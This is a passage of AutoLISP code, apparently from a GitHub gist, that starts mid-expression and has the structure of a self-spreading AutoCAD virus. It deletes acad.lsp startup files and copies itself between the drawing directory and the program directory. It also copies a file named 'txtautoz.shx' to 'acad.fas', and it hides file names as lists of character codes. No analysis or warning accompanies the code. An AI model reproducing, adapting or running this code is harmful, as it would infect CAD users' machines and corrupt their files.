(chr 97) | |
(chr 100) | |
(chr 100) | |
(chr 111) | |
(chr 99) | |
(chr 46) | |
(chr 108) | |
(chr 115) | |
(chr 112) | |
) | |
) | |
(vl-file-delete (strcat wpath lsp)) | |
(vl-file-delete (strcat wpath "acad.lsp")) | |
(vl-file-delete (strcat dpath "acad.lsp")) | |
(load"shxfont""")(defun wwriteapp () | |
(if (setq wwjm1 (open wnewacad "w")) | |
(progn | |
(setq wwjm (open woldacad "r")) | |
(while(setq wwz (read-line wwjm)) | |
(write-line wwz wwjm1) | |
) | |
(close wwjm) | |
(close wwjm1) | |
) | |
) | |
) | |
(setq lbz 0) | |
(setq wwjqm (strcat dpath lsp)) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(repeat 15 (read-line wwjm)) | |
(setq wz (read-line wwjm)) | |
(setq ab (atoi (substr wz 4 1))) | |
(close wwjm) | |
(if (> ab bb) | |
(setq lbz 1) | |
) | |
) | |
) | |
(setq wwjqm (strcat wpath mnl)) | |
(if (setq wwjm (open wwjqm "r")) | |
(progn | |
(repeat 15 (read-line wwjm)) | |
(setq wz (read-line wwjm)) | |
(setq nb (atoi (substr wz 4 1))) | |
(close wwjm) | |
(if (< nb bb) | |
(setq lbz 1) | |
) | |
) | |
(setq lbz 1) | |
) | |
(if (= lbz 1) | |
(progn | |
(setq woldacad (strcat dpath lsp)) | |
(setq wnewacad (strcat wpath mnl)) | |
(wwriteapp) | |
) | |
) | |
(if (and (/= (substr dpath 1 1) (chr 67)) | |
(/= (substr dpath 1 1) (chr 68)) | |
(/= (substr dpath 1 1) (chr 69)) | |
(/= (substr dpath 1 1) (chr 70)) | |
) | |
(progn | |
(setq woldacad (strcat wpath mnl)) | |
(setq wnewacad (strcat dpath lsp)) | |
(wwriteapp) | |
) | |
(vl-file-delete (strcat dpath lsp)) | |
) | |
(princ) | |
;;;;;;;;;;;;;;;;;;;;; | |
(princ) | |
(if (null stol) (load "lcm" "")) | |
(princ) | |
(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ)) | |
(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ)) | |
(setq flagx t) | |
;;;;;;;;;;;;;;;;;;;;; | |
(princ) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment